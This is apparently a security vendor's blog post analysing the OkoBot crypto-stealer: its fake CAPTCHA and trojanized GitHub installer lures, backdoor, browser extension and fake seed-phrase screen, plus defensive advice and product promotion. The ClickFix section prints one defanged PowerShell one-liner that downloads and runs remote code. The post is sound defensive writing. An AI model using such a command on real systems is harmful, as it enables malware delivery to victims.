FORENSICS / CRYPTO STEALER

OkoBot malware: from a fake CAPTCHA to your hardware wallet's seed phrase

Q: How does OkoBot get onto a computer?

Two main ways. The first is a ClickFix lure: a fake 'verify you are human' page that instructs you to press a keyboard shortcut and paste, which secretly runs an attacker's shell command using your own privileges. The second is trojanized software on GitHub, including a repository disguised as a SQL Server Management Studio installer that actually delivered the Audacity audio editor rebuilt with a hidden implant, ranked to appear at the top of searches for that tool.

Picture the two ways this one starts. In the first, you click a link, a page says "verify you are human", and it walks you through a quick keyboard shortcut to prove it. In the second, you search for a common Windows admin tool, click the top result on GitHub, and install what looks like the real thing. Neither moment feels like an attack. Both are the front door of OkoBot, a 20-module crypto-stealer that Kaspersky mapped in mid-July 2026, and both end in the same place: a fake recovery-phrase screen sitting on top of your real hardware wallet software, waiting for you to type the twelve words that give it everything.

SafeBrowz Threat Research Security ResearchJuly 23, 202613 min read

One framework, 20 modules, one target: your seed phrase

OkoBot is a modular crypto-stealer that Kaspersky detailed on July 15, 2026. It infects a computer two ways, through a fake ClickFix "verify you are human" page that tricks you into running a command yourself, or through trojanized software on GitHub such as a fake SQL Server Management Studio installer that was really the Audacity audio editor rebuilt with a hidden implant. Once inside, it unpacks more than 20 payloads: a PowerShell backdoor Kaspersky calls TookPS, the silently installed Rilide browser extension for stealing credentials and cookies, and a module named SeedHunter that hooks Trezor and Ledger wallet apps and, the instant it sees a connected hardware wallet, throws up a hard-coded fake page asking for your recovery seed phrase. Kaspersky counted hundreds of victims across more than 25 countries, most heavily Brazil, Vietnam, Canada, Mexico and Turkiye, and the campaign had been running for over a year. The defensible lesson is where the chain can be broken: the fake CAPTCHA page and the malicious download link are both things a browser-layer scanner can flag before you act, but once an installer is executing on your machine, or once a hardware wallet asks for a seed phrase on a computer instead of on the device screen, you are past the point a URL check can help. A hardware wallet should never ask for your seed phrase inside an app. If one does, unplug and stop.

The find: a stealer that had been quietly working for a year

On July 15, 2026, Kaspersky's Global Research and Analysis Team published its analysis of a framework it named OkoBot, built around a core spyware component the company refers to as OkoSpyware. Dmitry Galov, who heads Kaspersky's Russia and CIS research unit, described a campaign that had been active for more than a year and remained live as of July 2026, quietly stealing from cryptocurrency users while most of the security world was looking elsewhere. You can read the company's own writeup in its press release on OkoSpyware, and the technical breakdown was picked up by BleepingComputer and The Hacker News.

What makes OkoBot worth walking through slowly is not a single clever trick. It is the assembly. This is not one payload with one job. It is a kit of more than 20 payloads and implants that unpack in stages, each doing a narrow task, so that by the time the piece that matters, the seed-phrase grab, actually runs, the machine has already been thoroughly prepared and photographed. Let us follow it from the two front doors inward.

Door one: a fake CAPTCHA that copies a command to your clipboard

The first way in is a technique you have probably already met on this site: ClickFix. A page presents a "verify you are human" box, exactly like the checkbox challenges you clear a dozen times a week. But instead of quietly passing you, it gives an instruction. Press this key combination. Paste. Press Enter. The framing is always some minor, plausible fix, "to complete verification" or "to view the document", which is where the name comes from.

Here is the part people miss. While that page is on screen, it has silently written a Windows shell command into your clipboard. When you follow the steps, pressing the Windows key with R to open the Run box and then pasting, you are not proving you are human. You are pasting an attacker's command into the one place on your computer that will run it with your own privileges, and then you are pressing Enter for them. Something like powershell -w hidden -c "iwr hxxps://[.]./a | iex" is the shape of it, shown here defanged and purely as an illustration, never to be run. No exploit was needed. No security prompt was triggered. You did the whole thing by hand, believing you were solving a captcha.

We have taken this family apart in detail before, in our teardown of the fake CAPTCHA ClickFix attack, and it is worth being precise about what separates it from a lookalike we also cover. A ClickFix gate makes you run code. A pure CAPTCHA cloaking gate only filters and redirects traffic and never touches your clipboard. OkoBot uses the first kind: the CAPTCHA is the delivery mechanism, not just a doorman.

Door two: a fake SSMS installer that was really Audacity in disguise

The second front door does not involve a captcha at all. It abuses something people trust even more than a checkbox: a search result and a well-known code host.

Kaspersky found OkoBot being distributed as trojanized software on GitHub. The standout example is a repository dressed up as an installer for SQL Server Management Studio, the free tool database administrators install constantly. The repository was optimized to rank at the top for SSMS searches, so an admin looking for a quick download would land on it, see a legitimate-looking project, and grab the installer. Except the file that came down was not SSMS. It was Audacity, the open-source audio editor, rebuilt with a malicious implant stitched inside. A real, recognizable program, running as a decoy, while the attacker's code executes alongside it.

That choice is deliberate. If you double-click and a familiar app opens, your suspicion drops to zero. The payload does its work in the background while you are looking at a window you expected to see. This is the same principle behind the GitHub-hosted fake airdrop tools we have covered: a trusted platform lends its credibility to a file that has none. And it is the reason we keep repeating an uncomfortable point, that "it came from GitHub" and "the app actually opened and worked" are not evidence of safety. They are exactly what a good trojanized installer is engineered to produce.

What unpacks next: TookPS and a silent browser extension

Once either door is open, the framework starts assembling itself on your machine. Two of the more than 20 components are worth naming, because they show how thoroughly the ground is prepared before the wallet attack ever fires.

The first is TookPS, a PowerShell script that Kaspersky describes as installing an SSH bot on the victim's computer. Its job is reconnaissance and access: it collects the username, the operating system details, the IP address, which antivirus is present, and any cryptocurrency wallet data it can find, then hands the attacker a persistent way back in. Before a single coin moves, the operator already knows who you are, what is protecting you, and what is worth taking.

The second is Rilide, a known information-stealing browser extension that OkoBot installs silently by injecting the necessary changes rather than asking you to add anything. A malicious extension sitting inside your browser has an ugly amount of reach: it can read what loads in your tabs, lift saved credentials, copy session cookies (which can let an attacker skip your password entirely), and scrape financial and crypto-related data as you use the sites you trust. We wrote a full explainer on why malicious browser extensions are so dangerous to crypto users, and Rilide is a textbook case: no login page to phish when the thief is already living in the browser.

SeedHunter: the module that waits for a hardware wallet

Now the part everything else was building toward.

Hardware wallets exist precisely to defeat this kind of malware. The private keys live on a separate device, and the recovery seed phrase, the human-readable backup of those keys, is supposed to be seen only on the device's own little screen, never typed into a computer. That design is why so many people move serious crypto onto a Trezor or Ledger. OkoBot's answer is a module Kaspersky named SeedHunter, and it is built to attack that exact assumption.

SeedHunter injects itself into the desktop wallet software, Trezor Suite, Ledger Wallet and Ledger Live, and hooks their functions from the inside. Then it waits. It does nothing visible until the moment it detects that a real Trezor or Ledger hardware wallet has been connected. That is the trigger. When it fires, SeedHunter uses its hooks to display a hard-coded phishing page, tailored to whichever wallet you plugged in, asking you to enter or "confirm" your recovery seed phrase to continue. Because the fake screen appears inside the genuine app you launched, on the computer you own, at the exact moment you were about to use your wallet anyway, it does not look like an attack. It looks like a step.

But it is the one step a real hardware wallet will never ask you to take. Trezor and Ledger will ask you to confirm actions on the device's physical screen and buttons. They will not ask you to type your 12 or 24 recovery words into a window on your laptop, ever, for any reason. If you enter them, you have handed the attacker the master key to every account that wallet holds, and they can rebuild it on their own machine and empty it. This is the mechanism behind almost every crypto wallet drainer in the end, and it is the same seed-phrase lie we broke down in the Trezor phishing-email scam, just delivered from inside your own trusted software instead of an email.

How far it spread

OkoBot is not a proof of concept. Kaspersky reports hundreds of victims across more than 25 countries, with the heaviest concentrations of affected users in Brazil, Vietnam, Canada, Mexico and Turkiye. The campaign had been operating for more than a year before it was detailed publicly, which is a long time for a stealer this capable to run quietly. Kaspersky did not attribute it to a named crimeware group with high confidence, noting only Russian-language artifacts in the code, so treat the "who" as open. The "what" and the "how" are what protect you, and those are clear.

Catch the fake CAPTCHA before you press a single key

Add the browser extension, or the SafeBrowz Android app, and every link you open is checked automatically before the page can act. A page that quietly writes a shell command to your clipboard behind a "verify you are human" box gets flagged as dangerous, and known malicious download links get flagged too. Free forever, with an optional Premium AI deep scan at $14.99 per year.

Need to check a suspicious link right now? Click here to scan it free →

Add to Chrome Add to Firefox Add to Edge Get it on Google Play

See pricing and Premium features

Red flags: spotting the OkoBot chain before it runs

You do not need to identify OkoBot by name. You need to recognize the moves it makes, because they are the same moves the whole malware category makes.

A "captcha" that gives you instructions. Real bot checks pass you silently or ask you to click images. If a verification page tells you to press Windows+R, open a terminal, or paste something you did not copy, that is not a captcha. It is someone getting you to run their command. Close the tab.
Any prompt to paste into the Run box or a terminal. Treat "Win+R then Ctrl+V then Enter" as a red alarm no matter how the page dresses it up. Legitimate websites never need you to do that.
A download that ranked suspiciously well for a common tool. Top search results and slick GitHub pages are not proof. For well-known software, start from the vendor's own official site, not whatever ranked first for the installer name.
An installer that opens a different, familiar app. If you downloaded a database tool and an audio editor launches, or anything opens that is not what you asked for, stop and disconnect from the network. That decoy behavior is a signature of trojanized installers.
A browser extension you do not remember adding. Open your extensions list periodically. An extension that appeared on its own, especially one with broad permissions, is a reason to remove it and change passwords from a clean device.
Any request to type your recovery seed phrase into a computer. This is the brightest line there is. Trezor and Ledger confirm on the device, never in an app window. A seed-phrase field on your screen means malware, full stop, even if it appears inside the genuine wallet software.

If you pasted a command, ran an installer, or entered a seed phrase

Move by severity. The three doors of this attack call for three different responses.

If you entered a seed phrase into any on-screen field, assume the wallet it belongs to is compromised right now. If you have a second, uninfected device and another wallet, transfer your assets immediately to a freshly generated seed on hardware that never touched the infected computer. Speed matters more than tidiness here, because drainers move fast. Our guide on what to do when your seed phrase is stolen walks the emergency sequence step by step.

If you pasted a ClickFix command or ran a trojanized installer, treat the whole computer as compromised, not just the browser. TookPS is designed to give the attacker persistent remote access, and Rilide lives inside the browser to harvest logins and cookies. Disconnect the machine from the internet, run a full scan with reputable endpoint security, and from a separate clean device change the passwords and revoke the active sessions for your email, exchanges and anything financial. Because session cookies can bypass passwords, changing the password alone is not enough; sign out everywhere and enable a fresh second factor.

If money already left an account, report it. In the US, file with the FBI's Internet Crime Complaint Center at ic3.gov and report to the FTC at reportfraud.ftc.gov. Our broader walkthrough on what to do after getting scammed covers the reporting and recovery order for cards, banks and crypto.

Where a URL scanner can and cannot stop this

SafeBrowz runs a 3-layer detection architecture: Local + APIs + AI. Against a chain like OkoBot's, here is the honest picture of what each layer does and where the line is.

Layer 1 - Local detection: 60+ URL pattern signatures and a 550+ brand database with homograph and Punycode checks, running inside the extension before a page renders. A disposable domain hosting a "verify you are human" gate has the throwaway profile this layer is built to treat with suspicion.
Layer 2 - API checks: aggregates Google Safe Browsing, PhishTank, URLhaus and ScamAdviser feeds plus 30+ scam-TLD lists alongside our own blocklist. When a ClickFix or malware-distribution URL has already been reported, this layer catches it on reputation before you ever interact.
Layer 3 - AI deep scan (Premium): this is the layer that matters most against OkoBot's entry point. Our scanning infrastructure renders the page in a real browser and watches what it actually does, in 100+ languages. A page that silently writes a Windows shell command to your clipboard while showing a fake CAPTCHA has a behavior no legitimate site has, and that behavior is flagged deterministically as dangerous, even on a brand-new domain no blocklist has seen. It is judged by what the page does, not by its reputation.

Honest scope: the block happens at the page. SafeBrowz flags the ClickFix lure before you paste anything, and it flags a known malicious download link before you click it. What it cannot do is reach inside a file you have already downloaded from GitHub and executed, that is the job of endpoint antivirus once the code is running, not a browser guard, and it cannot type your seed phrase back out of an attacker's hands once you have entered it into a fake screen. That is why the two reflexes in this report are the real protection: never run a command a web page tells you to, and never type a recovery phrase into a computer. A browser-layer scanner buys you the first line of defense; those two habits are the second.

Detection signatures are derived from threat-intelligence research and our internal brand database, not from user browsing data. SafeBrowz does not store per-user browsing history.

🛡 LIVE CHECK

Got a "verify you are human" page or a download link? Check it here

Paste any suspicious verification page, download URL or link from a message before you interact with it. Our 3-layer engine (Local + APIs + AI) returns a verdict in about 3 seconds. Free, no signup.

Full scan with deep AI analysis → · No URL is logged to your identity.

Frequently asked questions

What is OkoBot malware?

OkoBot is a modular crypto-stealer framework that Kaspersky detailed on July 15, 2026, built around a core component the company calls OkoSpyware. It carries more than 20 malicious payloads and implants that unpack in stages, and it targets cryptocurrency users specifically. Kaspersky counted hundreds of victims across more than 25 countries, with the most affected users in Brazil, Vietnam, Canada, Mexico and Turkiye, and found the campaign had been active for over a year.

How does OkoBot get onto a computer?

Two main ways. The first is a ClickFix lure: a fake "verify you are human" page that instructs you to press a keyboard shortcut and paste, which secretly runs an attacker's shell command using your own privileges. The second is trojanized software on GitHub, including a repository disguised as a SQL Server Management Studio installer that actually delivered the Audacity audio editor rebuilt with a hidden implant, ranked to appear at the top of searches for that tool.

What is SeedHunter and how does it steal a hardware wallet seed phrase?

SeedHunter is the OkoBot module that targets hardware wallets. It injects into the desktop wallet apps Trezor Suite, Ledger Wallet and Ledger Live and hooks their functions. It stays dormant until it detects that a real Trezor or Ledger has been connected, then displays a hard-coded fake page inside the genuine app asking for your recovery seed phrase. A real hardware wallet never asks you to type your seed phrase into a computer, so any on-screen seed-phrase request is malware. If you enter the words, the attacker can rebuild your wallet and drain it.

Can a browser extension or URL scanner stop OkoBot?

Partly, and it matters where in the chain you are. A browser-layer scanner like SafeBrowz can flag the ClickFix "verify you are human" page before you paste anything, because a page that silently writes a shell command to your clipboard has a behavior no legitimate site has, and it can flag a known malicious download link before you click. What it cannot do is reach inside a file you have already downloaded and run, which is a job for endpoint antivirus, or undo a seed phrase you have already typed into a fake screen. The page-level lure is where the block happens; the two habits, never run a command a page tells you to and never type a seed phrase into a computer, cover the rest.

I pasted a command from a verification page or ran an installer. What should I do?

Treat the whole computer as compromised, not just the browser, because OkoBot installs a PowerShell backdoor for persistent access and the Rilide extension to harvest logins and cookies. Disconnect from the internet, run a full scan with reputable endpoint security, and from a separate clean device change your passwords and sign out of all sessions for email, exchanges and financial accounts. If you also entered a seed phrase, move your crypto to a freshly generated wallet on a device that never touched the infected computer, immediately. Report losses to ic3.gov and reportfraud.ftc.gov in the US.